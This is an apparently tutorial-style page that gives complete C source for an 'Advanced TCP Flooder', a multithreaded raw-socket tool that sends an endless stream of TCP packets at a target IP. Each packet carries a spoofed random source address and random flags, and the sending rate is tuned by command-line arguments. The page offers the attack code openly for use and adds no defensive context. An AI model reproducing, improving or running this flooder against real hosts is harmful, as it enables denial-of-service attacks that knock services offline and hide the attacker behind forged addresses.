How to write a C Program Advanced TCP Flooder in C Programming Language ?
Solution For C Program :
/*
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
atcp.c - Advanced TCP Flooder
*/
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
void init_rand(unsigned long int x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
unsigned long long int t, a = 18782LL;
static unsigned long int i = 4095;
unsigned long int x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
register unsigned long sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (unsigned short)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = 6;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}
void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(5678);
tcph->seq = rand();
tcph->ack_seq = rand();
tcph->res2 = rand();
tcph->doff = 5;
tcph->syn = rand();
tcph->fin = rand();
tcph->psh = rand();
tcph->ack = rand();
tcph->urg = rand();
tcph->rst = rand();
tcph->window = rand();
tcph->check = rand();
tcph->urg_ptr = rand();
}
void *flood(void *par1)
{
char *td = (char *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = rand();
sin.sin_addr.s_addr = inet_addr(td);
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_tcp_header(tcph);
tcph->dest = rand();
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
tcph->seq = rand_cmwc() & 0xFFFF;
tcph->source = htons(rand_cmwc() & 0xFFFF);
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 5){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s [IP] [threads] [limiter] [time]\n", argv[0]);
exit(-1);
}
fprintf(stdout, "Opening threads...\n");
int num_threads = atoi(argv[2]);
int maxpps = atoi(argv[3]);
limiter = 0;
pps = 0;
pthread_t thread[num_threads];
int multiplier = 100;
int i;
for(i = 0;i<num_threads;i++){
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
}
fprintf(stdout, "Sending packets..\n");
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}